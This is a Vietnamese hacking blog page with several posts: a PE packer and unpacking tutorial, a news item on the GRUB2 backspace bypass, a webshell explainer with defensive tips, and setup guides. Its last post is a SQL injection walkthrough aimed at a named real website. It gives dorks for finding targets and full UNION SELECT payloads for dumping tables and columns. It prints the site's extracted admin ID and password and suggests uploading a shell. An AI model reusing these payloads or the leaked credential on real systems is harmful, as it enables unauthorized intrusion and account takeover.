Subscribe For Free Updates!

We'll not spam mate! We promise.

Thứ Bảy, 16 tháng 1, 2016

Tổng quan về Pack và Unpack

 Packer là một kiểu chương trình nén hoặc che dấu file thực thi (executable file). Các chương trình này ra đời bắt nguồn từ mục đích giảm kích thước của file, làm cho việc tải file nhanh hơn.

Rất nhiều các coder hay các hãng phần mềm sử dụng Packer nhằm mục đích khiến cracker/reverser khó khăn và tốn thời gian hơn trong việc bẻ khỏa hoặc đảo ngược phần mềm của họ. Đối với những kẻ chuyên phát tán các phần mềm độc hại (malicious software) thì Packer còn có tác dụng giúp kéo dài thời gian tồn tại của phần mềm càng lâu bị phát hiện càng tốt.
Cụ thể khi sử dụng, Packer nén, mã hóa, lưu hoặc dấu code gốc của chương trình, tự động bổ sung một hoặc nhiều section, sau đó sẽ thêm đoạn code Unpacking Stub và chuyển hướng Entry Point (EP) tới vùng code này. Bình thường một file không đóng gói (Nonpacked) sẽ được tải bởi OS. Với file đã đóng gói thì Unpacking Stub sẽ được tải bởi OS, sau đó chương trình gốc sẽ tải Unpacking Stub. Lúc này code EP của file thực thi sẽ trỏ tới Unpacking Stub thay vì trỏ vào mã gốc. Để hiểu được các phần trên thì các bạn cần hiểu cấu trúc PE file và cách thực thi của nó. Bạn có thể xem bài viết Tìm hiểu cấu trúc PE file.
Cấu trúc đầy đủ của một PE file như sau:
anh1
Trong môi trường DOS, chương trình sẽ kiểm tra DOS header và nếu hợp lệ sẽ thực thi DOS Stub. Còn bình thường file của chúng ta hay chạy trên Windows thì 2 trường này có thể bỏ qua. Trường này là một cấu trúc có 19 thành phần.
Cuối trường DOS header sẽ có một thành phần là: e_lfanew sẽ chứa offset của PE header so với vị trí  đầu file. Chương trình sẽ thực thi đến PE header. Tiếp đến là đọc Section Table để xem trong chương trình có những section nào. Sau đó chương trình sẽ nhảy đến từng section và thực thi. Entry Point thường nằm ở các section đầu nếu file chưa bị đóng gói.

2. Nguyên lí hoạt động của Packer

Cấu trúc của file PE ban đầu sẽ có dạng như sau:
packer-1
File này sẽ bị nén và mã hóa rồi được thêm vào một hay nhiều section do packer tự tạo ra.
Capture
Khi chạy file thì chương trình sẽ được thực thi như sau:
packer-3
Tiếp theo chương trình sẽ thực thi PE header:
packer-4

packer-5
packer-6
Sau khi nhảy đến Entry Point của section UMPACKER thì toàn bộ giá trị của các thanh ghi sẽ được lưu lại nhờ lệnh PUSHAD. Sau đó Import Table sẽ được tính toán lại. Trong một file bị pack, Import Table sẽ bị thay đổi và các dữ liệu sẽ bị mã hóa.
Tiếp theo chương trình sẽ khôi phục lại giá trị các thanh ghi đã được lưu trong Stack bằng lệnh POPAD. Cuối cùng chương trình sẽ nhảy đến Origin EntryPoint và thực thi như file lúc chưa bị đóng gói.

3.Nguyên lí Unpack

Đầu tiên ta phải nhận biết được xem một file có bị đóng gói hay không bằng cách dùng các công cụ như PEiD :
packer-7
Ở đây mình dùng file UnPackMe_ASPack2.12 làm đối tượng để test thử. File trên đã bị đóng gói bằng ASPack. Thông thường, các bước cơ bản để thực hiện unpack như sau:
packer-8
  1. Tìm OEP (Origin Entry Point): Orginal entry point là nơi mà chương trình gốc thực sự bắt đầu thực thi. Ta sẽ dùng một số công cụ debug file như OllyDbg và IDA để tìm lại OEP.
  1. Kết xuất file (Dump): Sau khi nhảy đến OEP ta sẽ tiến hành dump file. Mục đích của việc này là fix lại các section và import table như file ban đầu trước khi bị đóng gói. Sử dụng Plugin OllyDumpEx để dump file.
packer-9
  1. Sửa lại IAT (Repair Import Address Table): Sử dụng công cụ ImportREC.
packer-10
  1. Kiểm tra file xem còn các cơ chế Anti hoặc ngăn chặn việc thực thi hay không rồi tiến hành chỉnh sửa. Đảm bảo file sau unpack thực thi bình thường (Phần này sẽ được giới thiệu trong các phần sau).

PHẦN 2 : 


Trong phần trước mình đã trình bày với các bạn bài viết tổng quan về Pack và Unpack. Trong phần này mình sẽ giới thiệu tiếp  về một số kĩ thuật để tìm OEP(Origin Entry Point) cơ bản. Đây là quá trình khó nhất trong khi unpack. Như đã giới thiệu trong phần trước thì các bước để unpack một file như sau:
  1. Tìm OEP
  2. Kết xuất file (Dump)
  3. Sửa lại IAT (Repair IAT)
  4. Kiểm tra file xem còn các cơ chế Anti hoặc ngăn chặn không cho thực thi không và tiến hành chỉnh sửa. Đảm bảo file sau unpack thực thi bình thường .
Bài viết sử dụng UnPackMe_ASPack2.12.exe và OllyDbg để minh họa.  

1.1   Tìm opcode

Cách này đơn giản và hơi thô, chỉ có thể áp dụng với các trình packer đơn giản, không thể áp dụng nó cho các trình packer khó nhằn như Asprotect. Ý tưởng cơ bản là tìm opcode của lệnh  LONG JMP (0xE9) hoặc LONG CALL (0xE8). Các trình packer sau khi thực hiện đóng gói file thì có khả năng có một lệnh nhảy hoặc một lời gọi hàm (call) tới section đầu tiên, mục đích là để tới được OEP. Với phương pháp này, ta hi vọng các lệnh JUMP hoặc CALL sẽ xuất hiện ngay đầu tiên trong quá trình tìm kiếm hoặc trình packer không có cơ chế tự động chỉnh sửa. Ta chỉ cần tìm kiếm “Binary String” các chuỗi E9,E8. Sau đó xem câu lệnh nào có opcode. Ngoài ra câu lệnh đó phải nằm trong section đầu tiên của chương trình. Chú ý , đôi khi ta xem code của các trình packer sẽ thấy có các lệnh kiểu như CALL EAX, CALL EBX, JMP EAX. Rất nhiều trình packer thường sử dụng các thanh ghi nhằm mục đích để che dấu việc nhảy tới OEP.  

1.2 Sử dụng tính năng tìm kiếm OEP của OllyDBG

Mở đối tượng bị đóng gói trong OllyDBG, chọn Options > Debugging options hoặc nhấn phím tắt Alt+O, chuyển tới tab SFX:
vd1
Trong thẻ SFX  có 2 tùy chọn: “blockwise” cho phép tìm kiếm nhanh nhưng độ chính xác có thể không cao; “bytewise” cho phép  tìm kiếm với độ chính xác cao hơn nhưng tốc độ chậm hơn. Chuyển qua thẻ Exceptions, lựa chọn tương tự như hình:
vd2
Sau khi cấu hình xong các bạn khởi động lại OllyDbg thì sẽ được như sau :
vd3
404000 chính là địa chỉ OEP của chương trình.Bạn có thể thử với tùy chọn khác trong SFX. Sau khi thực hiện xong phương pháp này thì phải thiết lập tab SFX trở về tùy chọn ban đầu, nếu không thì OllyDBG sẽ không dừng lại tại EP như bình thường nữa mà luôn luôn thực hiện việc tìm kiếm OEP.  

1.3. Sử dụng BPM on access với OllyDBG đã patch để tìm OEP

Load file vào OllyDBG, chuyển tới cửa sổ Memory map, lựa chọn section đầu tiên để thiết lập BPM:
vd4
Chuyển về cửa sổ code, nhấn F9 để chạy, OllyDBG sẽ break và dừng lại tại đây:
vd5
Ta thấy khi trace qua lệnh ret thì chương trình không nằm trong phân vùng đầu tiên nên ta cứ nhấn F9.Khi đó có thông báo hiện ra:
vd6
Khi đó chương trình đã kết thúc.Vậy chỗ OEP không nằm trong section đầu tiên. Ta thử với các section tiếp theo. Với section thứ 2 tại địa chỉ 402000 cũng tương tự section thứ nhất. Ta thử tiếp với section thứ 3 tại địa chỉ 404000.Khi ta nhấn F9 thì chương trình sẽ dừng tại 404000 với câu lệnh WAIT. Vì đây không nằm ngoài section ta đặt break point nên nó là địa chỉ câu lệnh đầu tiên của OEP.
vd7

1.4. PUSHAD Method

Nhiều trình packer sau khi được load vào OllyDBG ta thấy lệnh đầu tiên được thực thi là lệnh PUSHAD. Lệnh này nhằm mục đích bảo toàn các thanh ghi, nó sẽ thực hiện lưu toàn bộ giá trị khởi tạo của tất cả các thành ghi vào stack, sau đó thực hiện quá trình unpack, cuối cùng trước khi nhảy tới OEP, packer sẽ thực hiện việc khôi phục lại giá trị của các thanh ghi đã lưu trên stack bằng lệnh POPAD. Cặp lệnh PUSHAD và POPAD thường đi cùng với nhau. Nếu như ta thấy ở đâu đó trong mã của chương trình xuất hiện lệnh PUSHAD thì bên dưới chắc chắn sẽ có câu lệnh POPAD. Đây là phương pháp được áp dụng thành công cho khá nhiều trình packer. Đầu tiên  load UnPackMe_ASPack2.12  vào OllyDBG và nhấn F9:
vd8
Thực hiện trace qua lệnh PUSHAD và quan sát trên cửa sổ Stack: Như các bạn thấy tại cửa sổ Stack, giá trị ban đầu của các thanh ghi đã được lưu lại.Do vậy, trước khi nhảy tới OEP thì chắc chắn packer phải thực hiện việc khôi phục lại các giá trị đã lưu này. Căn cứ vào đó, ta có thể tiến hành đặt một Hardware BPX On Access trong OllyDBG nhằm break lại khi packer thực hiện lệnh khôi phục giá trị, và khi break ta sẽ dừng lại tại lệnh nhảy tới OEP. Lựa chọn thanh ghi ESP, nhấn chuột phải và chọn Follow in Dump:
vd9
vd10
Sau đó ta đặt breakpoint hardware vào 0018FF6C. Sau khi đặt BP xong, nhấn F9 để chạy, ta sẽ dừng lại tại đây:
vd11
Dưới lệnh POPAD sẽ là câu lệnh nhảy đến 004113BA. Nhưng nếu nhìn kĩ hơn một chút ta sẽ thấy có lệnh push 00404000 và ret. Như vậy đó chính là địa chỉ của OEP. Trên đây mình đã trình bày 4 cách để unpack một file .exe cơ bản. Các bạn có thể tự tìm thêm các ví dụ để thực hành thêm và tham khảo tài liệu có sẵn trên mạng.


Hack Linux bằng cách nhấn phím Backspace 28 lần

backspace_by_hewasnumber1-d6s7qv6
Chỉ cần nhấn phím backspace 28 lần, bạn đã có thể bypass được hệ thống bảo vệ mật khẩu của máy tính Linux!
Hai nhà nghiên cứu bảo mật đến từ đại học Valencia đã phát hiện ra một bug kì quái trên một vài bản phân phối Linux cho phép bất cứ ai cũng có thể bypass bất cứ loại xác thực nào trong quá trình khởi động bằng cách nhấn phím backspace 28 lần.
Vấn đề không nằm trong kernel hay một hệ điều hành cụ thể nào, nó thực chất là lỗ hổng trong Grub2, Grand Unified Bootloader, thường được sử dụng trong hầu hết các hệ thống Linux để boot hệ điều hành khi máy tính khởi động.
Đây là một lỗ hổng tồn tại từ Grub version 1.98 (2009) –b391bdb2f2c5ccf29da66cecdbfb7566656a704d – ảnh hưởng đến hàm grub_password_get().
Để khai thác lỗ hổng trên thiết bị, bạn chỉ cần nhấn 28 lần phím backspace trong ô Grub username. Nó sẽ mở ra một “Grub rescue shell” . Điều này cho phép truy cập không cần ủy quyền vào máy tính và khả năng tải một môi trường khác.
Tin tặc có thể lợi dụng khai thác để truy cập toàn bộ dữ liệu trên máy tính, rồi sau đó đánh cắp hoặc xóa chúng, hoặc có thể cài đặt các mã độc hoặc rootkit. Tin tốt là các nhà nghiên cứu đã tạo ra một bản vá khẩn cấp. Người dùng Linux cần áp dụng bản vá có sẵn tại đây. Rất nhiều bản phân phối lớn bao gồm Ubuntu,Red Hat, và Debian cũng phát hành bản vá lỗ hổng này.
Linux vốn được coi là hệ điều hành an toàn so với các hệ điều hành khác. Lỗ hổng này như một nhắc nhở bạn đã đến lúc cần các biện pháp bảo mật vật lý để đảm bảo an toàn cho các mạng quan trọng.

Nguồn: http://securitydaily.net/

Hiểu về WebShell, Get root và Local attack

Hiện tại có rất nhiều website đã và đang bị hacker tấn công, hacker có thể thay đổi toàn bộ các tệp tin trên hệ thống bằng cách khai thác các lỗ hổng tồn tại trên website và tải lên các backdoor, webshell để chiếm quyền kiểm soát hoàn toàn các website này. Hôm nay tôi xin trình bày một số vấn đề liên quan đến webshell, get root và local attack.
shellcodeb
Thuật ngữ WebShell:  WebShell là 1 dạng mã độc, cửa hậu có nhiều chức năng để hỗ trợ các hacker chiếm quyền quản lý các hệ thống website.WebShell thường được viết bằng nhiều loại ngôn ngữ và thường thì chính là ngôn ngữ mà website đó đang sử dụng. Chức năng cơ bản là tải tệp tin lên máy chủ, kết nối đến cơ sở dữ liệu, vượt qua các cơ chế bảo mật, cấu hình, tấn công bruteforce, Get Root, Local Attack… chỉ cần hacker có thể tải được các tệp tin webshell này lên hệ thống của website thì xem như hacker đã có toàn quyền kiểm soát website đó, cho dù không biết tài khoản và mật khẩu của máy chủ này là gì.
WebShell có rất nhiều loại và biến thể khác nhau, không đơn thuần chỉ là 1 tệp tin mà chúng còn được các hacker biến tấu thành nhiều loại để thuận tiện tải các tệp tin khắc lên máy chủ của nạn nhân.
logo
Local Atack: loại hình hack này khá phổ biến hiện nay trên internet. Local attack là phương pháp tấn công từ user này qua user khác cùng server 1 cách nhanh chóng mà không cần bất cứ quyền gì.
Một server có thể có 1 hoặc nhiều website phát trển trên đó, khi đó mỗi website như vậy sẽ được cấp 1 user chứa toàn bộ quyền với website đó. Ví dụ là /user/username1. Tương tự như vậy cũng có 1 thư mục là /user/username2,/user/username3/, /user/username4…
Giả sử /user/username2 bị hacker chiếm giữ, bằng các script thông thường, hacker có thể truy cập đến các file của bạn ở /user/username1. Các tấn công dựa trên những script ở user này tấn công vào host của user khác trên cùng server gọi là Local attack.
Get Root:  Cũng chiếm quyền quản lý một website như Local attack nhưng nó tinh vi hơn, không chiếm từng user như Local mà Get Root sẽ chiếm quyền root của máy chủ (quyền root là là quyền cao nhất trong một máy chủ Unix/Linux). Khi hacker đã có quyền root của máy thì đồng nghĩa hacker có thể quản lý toàn bộ các website trên máy chủ này.
images

Cách phòng chống Local Attack

Những biện pháp dưới đây sẽ giúp cho bạn hạn chế bị hacker sử dụng phương pháp local attack
  • Không sử dụng các mã nguồn không rõ nguồn gốc được chia sẻ trên mạng internet 1 cách không kiểm duyệt.
  • Thường xuyên cập nhật các thông tin về các bản vá, lỗ hổng trong nền tảng mã nguồn, dịch vụ, hệ điều hành mà mình đang dùng để cập nhật các bạn vá lỗi của nhà cung cấp.
  • CHMOD các file và folder hợp lý.
  • Disable các hàm có tương tác trực tiếp với terminal (có thể thực thi shell trực tiếp vào nhân hệ điều hành) như: exec, system, popen….
  • Hạn chế dùng hosting được chia sẻ không rõ đơn vị chủ quản.
  • Mã hóa database SQL các bảng chứa password và user, đặt mật khẩu chứa ký tự đặc biệt, gồm số, chữ và ký tự đặc biệt để tránh bị Bruteforce (Dò mật khẩu).
  • Hãy dùng các chương trình quét virus để quét toàn bộ mã nguồn trước khi sử dụng và bạn nên thực hiện việc này định kỳ để tránh hacker chèn đã chèn các backdoor và các script độc hại lên máy chủ.
Mong rằng qua bài phân tích này của chúng tôi có thể phần nào giúp các bạn bảo mật tốt hơn các hệ thống của mình.
Nguồn : http://securitydaily.net/phan-tich-ma-doc-tren-website-va-tac-hai-cua-no/#article

Code con ruồi trên Website

Rảnh không có việc làm, làm vài cái code còn độc hơn FSHARE ấy các bác !


Đặc điểm con ruồi:


- Ruồi bò được 8 hướng trên màn hình,

- Thêm hành động bấm giữ

- Hiển thị nhiều nội dung vui nhộn khi giữ.

- Trò chuyện với ruồi :v

- Ruồi có vợt đập :v

=> rê chuột theo ruồi 1 lúc sẽ hiện ra dụng cụ đập ruồi trong 1 vài giây, lúc đó nếu bấm ruồi sẽ chết, sau khi ruồi chết, bấm giữ 5s (bơm máu cho nó) để ruồi hồi sinh. Nếu dụng cụ đập ruồi đang hiện mà đập không trúng ruồi, màn hình sẽ bị nứt



Thêm đoạn code dưới đây vào thẻ <head> trong mã nguồn trang bạn muốn chèn ruồi vào:

<!-- Bắt đầu ruồi Fshare -->
<script src="http://code.jquery.com/jquery-2.1.4.min.js"></script>
<script type="text/javascript" var_1="true" var_2="false" var_3="false" var_4="80" src="https://static1.fshare.vn/js/flies-obj-2.1.js?v=a5a98a85"></script>
<!-- Kết thúc ruồi Fshare -->

Cài đặt Kali Linux thật đơn giản với bản linux 2.0 tích hợp sẵn cho VM Ware Workstation



Mình thấy nhiều bạn Setup Kali Linux mà kêu nó bị đứng rồi bla bla lỗi
Các bạn tải VM Ware Workstation về rồi tải bản Linux tích hợp riêng cho VM ware nhé, chỉ cần vào vm ware mở là chạy linux luôn không phải setup mệt người
Link file ISO Linux for VM Ware : Tại Đây

Cài đặt tên miền riêng Cho Blogger

Hey các bạn! Sau khi tạo ra blogger và viết nhều bài rồi bạn có thể thiết lập một tên miền tùy chỉnh trên Blogger để làm cho blog của riêng bạn. Bạn không cần phải bị mắc kẹt với một cái đuôi ".blogspot.com" trreen trang web, vì vậy đối với những người không biết làm thế nào để Cài đặc tên miền riêng trên Blogger, tôi sẽ hướng dẫn  cho bạn làm thế nào nhé.

Cài đặc tên miền riêng trên Blogger


Tôi nhận ra rằng điều này có vẻ khó khăn với người mới làm đầu tiên, nhưng tôi nó thực sự không phải khó như bạn nghĩ đâu, và sau khi bạn cài đặt nó, bạn sẽ thấy nó thật la dễ dàng. Có tên miền riêng của là một trong những điều mà một blogger cần làm vì nhiều lý do:
  • Bạn sở hữu nó có nghĩa là bạn có thể di chuyển blog đi bất kỳ đâu. Nếu bạn quyết định chuyển Blogger sang wordpress chạy trên host riêng chẳng hạn  bạn có thể làm điều đó một cách dễ dàng mà không ảnh hưởng đến seo.
  • Nó trông rất chuyên nghiệp hơn và cho thấy rằng bạn có blog của bạn một cách nghiêm túc.
  • Nó dễ dàng hơn cho những người khác để nhớ đến bạn.
  • Bạn có thể thiết lập địa chỉ email riêng của bạn bằng cách sử dụng tên miền để ở phù hợp hơn.
Trước khi xem hướng dẫn cài đặt tên miền riêng cho blogspot thì bạn làm điều này, bạn sẽ cần phải đăng ký một tên miền. Bạn có thể sử dụng bất kỳ một nhà cung cấp tên miền nào nhưng đối với cá nhân tôi thì khuyên bạn nên chọn Godaddy vì nó thân thiện, dễ quản lý. Có thể tham khảo hướng dẫn mua tên miền Godaddy cua tôi

Hướng dẫn Cài đặc tên miền riêng trên Blogger


Cai dac ten mien rieng treb blogger
Cai dac ten mien rieng treb blogger
 Vào trang cài đặc của Blogger, chọn Cài đặc > cơ bản > Thiết lặp URL của bên thứ 3cho blog của bạn, nếu bạn chưa có blog thì tham khảo bài cách lập trang web miễn phí cho dễ xem tiếp phần sau

Cài đặc tên miền riêng trên Blogger 2015
Cài đặc tên miền riêng trên Blogger 2015

Nhập domain bạn có vào ô http nhe, chú ý có "www" và không được có dấu "/" ở cuối nhé. ở bài hướng dẫn trỏ tên miền riêng cho blogspot này tôi sẽ dùng domai napcards.com tôi vừa mua trên godady

Hướng dẫn trỏ tên miền riêng cho blogspot
Hướng dẫn trỏ tên miền riêng cho blogspot
Nó sẽ báo lỗi điều này không quan trọng, bạn chỉ cần chú ý 2 cái hàng mà nó báo nhe, mình sẽ sử dụng nó cho những bước sau đó. Đừng tắt trình duyệt mà hãy mở 1 tag mới rồi đăng nhập vào Godaddy 
Hướng dẫn cài đặt tên miền riêng cho blogspot
Hướng dẫn cài đặt tên miền riêng cho blogspot

Sau khi đăng nhập vào thì chọn My Account > Manage My Domain

Cài đặt tên miền (Domain) cho Blogspot
Cài đặt tên miền (Domain) cho Blogspot

Chọn cái omain cần Cài đặc tên miền riêng trên Blogger, tiếp tục click vào hình bánh xe bên gốc phải, một menu xổ xuống chon "Domain Detail"

Hướng dẫn cài đặt tên miền riêng cho blogspot
Hướng dẫn cài đặt tên miền riêng cho blogspot

Chuyển qua tag "DNS ZONE FILE" chọn tiếp Add Record, một cửa xổ bật lên

Lỗi trỏ tên miền riêng về blogger
Lỗi trỏ tên miền riêng về blogger



  • Ở ô đầu tiên Click hình tam giác bên phải chọn chính xác "CNAME (Alias)"
  • Bạn còn nhớ bước thiết lặp trên trang blogger lúc trước không, hãy copy và dán nó vào hai ô Host và POINT
  • Chọn tiếp "ADD ANOTHER"
Chuyển Blogger sang tên miền riêng thật đơn giản
Thêm chú thích

Tiếp tục dán vào dòng thứ 2 trong thiết lặp Blogger

Cách thêm tên miền riêng trên Blogger (Blogspot)
Cách thêm tên miền riêng trên Blogger (Blogspot)

Kéo chuột  xuống bên dưới đến phần "CNAME" kiểm trang lại có đầy đủ 2 dòng bên blogger chưa, nếu đã đầy đủ rồi thì chọn "Save Change"

Cách tạo blog trên blogspot với tên miền riêng
Cách tạo blog trên blogspot với tên miền riêng

Tiếp tục chuyển qua tag "SETTING" và chọn Manage trong phần Forwward, bước này là thiết lặp cho domain mình khi chọn có "www" hay không có "WWW" đề không bị lỗi



Hướng dẫn cách trỏ tên miền riêng cho Blogspot
Hướng dẫn cách trỏ tên miền riêng cho Blogspot


Bên tag DOMAIN chọn tiếp "UPDATE FORWARDING". lúc này nó sẽ bật ra một cửa xổ

Khắc phục lỗi cài đặt tên miền riêng cho blogspot
Khắc phục lỗi cài đặt tên miền riêng cho blogspot

 Thiết lặp đúng domain có luôn "www" và 301 nhé

Cấu hình tên miền cho blogger
Cấu hình tên miền cho blogger


 Tiếp theo bạn trở lại bên thiết lặp bên blogger và chọn lưu

Hướng Dẫn Cài Đặt Domain Cho Blogger
Hướng Dẫn Cài Đặt Domain Cho Blogger


Vào lại chỉnh sửa lúc nảy và tíc vào "Chuyển hướng napcards.com đến www.napcards.com" rồi chọn lưu

Hướng Dẫn Khai Thác Lỗi Website với kĩ thuật SQL Injection Basic



Cần Chuẩn Bị :


1.Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )


2. 1 cái đầu và những ngón tay =]]z~


Bây Giờ Tiến Hành Với Victim Nhé ! 


Victim : http://pscells.com ( Hoặc Có Thế Lên Google Gõ "inurl:index.php?id=" Để Dork tìm Site Bị Lỗi SQL )






Đi 1 Vòng Site Tìm Link Có Dạng ?id=


Chẳng hạn như link này : http://pscells.com/chitietsanpham.php?id=40



Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :


http://pscells.com/chitietsanpham.php?id=40'


Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này : 






Sau Đó Dùng Lệnh Order By Để Tìm Số Cột (Column)


http://pscells.com/chitietsanpham.php?id=40 order by 5-- - ==> Ko Lỗi
http://pscells.com/chitietsanpham.php?id=40 order by 10-- - ==> Lỗi


Vậy : 5 < x < 10


Tìm Tiếp :
http://pscells.com/chitietsanpham.php?id=40 order by 7-- - ==> Ko Lỗi
Vậy : 7 < x < 10
Tiếp Nào :
http://pscells.com/chitietsanpham.php?id=40 order by 9-- - ==> Lỗi
Vậy : 7 < x < 9 ===> Thế Số Cột (Column) Là 8 Nhé 


Bây h Dùng Lệnh UNION SELECT để khai thác nó
Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 8


Ta Sẽ Có Link :
http://pscells.com/chitietsanpham.php?id=40 UNION SELECT 1,2,3,4,5,6,7,8-- -


Trường Hợp Vài Site Khi Khai Thác Lệnh Này Xoq Vẫn Ko Thấy Gì ==> Cách Giải Quyết :


Thay Null Vào ?id=40 Có Nghĩa Là Link Sẽ Thành :


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,6,7,8-- -


Nếu Cột Nào Đó Từ 1 -> 8 Bị Lỗi Sẽ Xuất Hiện Như Hình :




Vậy Cột 6 Bị Lỗi Nhé 
Bây giờ ta khai thác với lệnh như sau:


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -


( Thay Thế Group_concat(table_name) vào số cột bị lỗi mà ta đã tìm hồi nãy ( cột 6 ) , Thêm from information_schema.tables where table_schema=database() Để Tìm Ra Cách Table Có Trong Database )


Và Sau Đó Ta Đc Các Table Của Database Như Hình : 






Lưu Ý Chúng Ta Cần Tìm ID và Pass Của Admin , Nên Ta Sẽ Chọn Table Có Liên Quan Đến Tài Khoản Người Dùng . Như Troq Hình Là Table " Taikhoan "






Tiếp Theo Tìm Các Column Trong Table taikhoan . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex . Mã Hex cũa taikhoan là 7461696b686f616e Thêm "0x" ỡ đầu sẽ thành : 
0x7461696b686f616e <== Thay Mã Hex này Với Database() như Hình :








Và Sửa Link ỡ 1 vài chỗ :


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -


Thành


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8 from information_schema.columns where table_name=0x7461696b686f616e-- -


Ta sẽ được:






Tiếp theo lấy giá trị từ các column này ra ( Ko Cần Dùng Mã Hex Cho Các Tên Column Này )


Đổi link ỡ 1 số chỗ :


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(id,0x207c20,name,0x207c20,pass,0x207c20),7,8 from taikhoan-- -


Lưu ý: Mã Hex 0x207c20 Là Mã Hex Của " | " Mình Đễ Vậy Để Phân Cách Các Giá Trị Sau Khi Get Cho Dễ Nhìn ^^! Ko Cần Thiết Lắm 


Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác Như : taikhoan 


Và Ta Sẽ Đc Như Hình :






Như hình trên. Ta được 1 ID Admin Là :


ID: Admin
Pass : @#123@# 


Số 1 Là Số User troq site ^^


Thế là xong ! Tìm link admin và đăng nhập vào thôi ^_^ ^_^!!










Thế Là Xoq Rồi Nhé ^^! Nếu Thích Bạn Cứ Úp Shell ( Mình Ko Khuyến Khích Các Bạn Deface ^_^ )



Nguồn : SVIT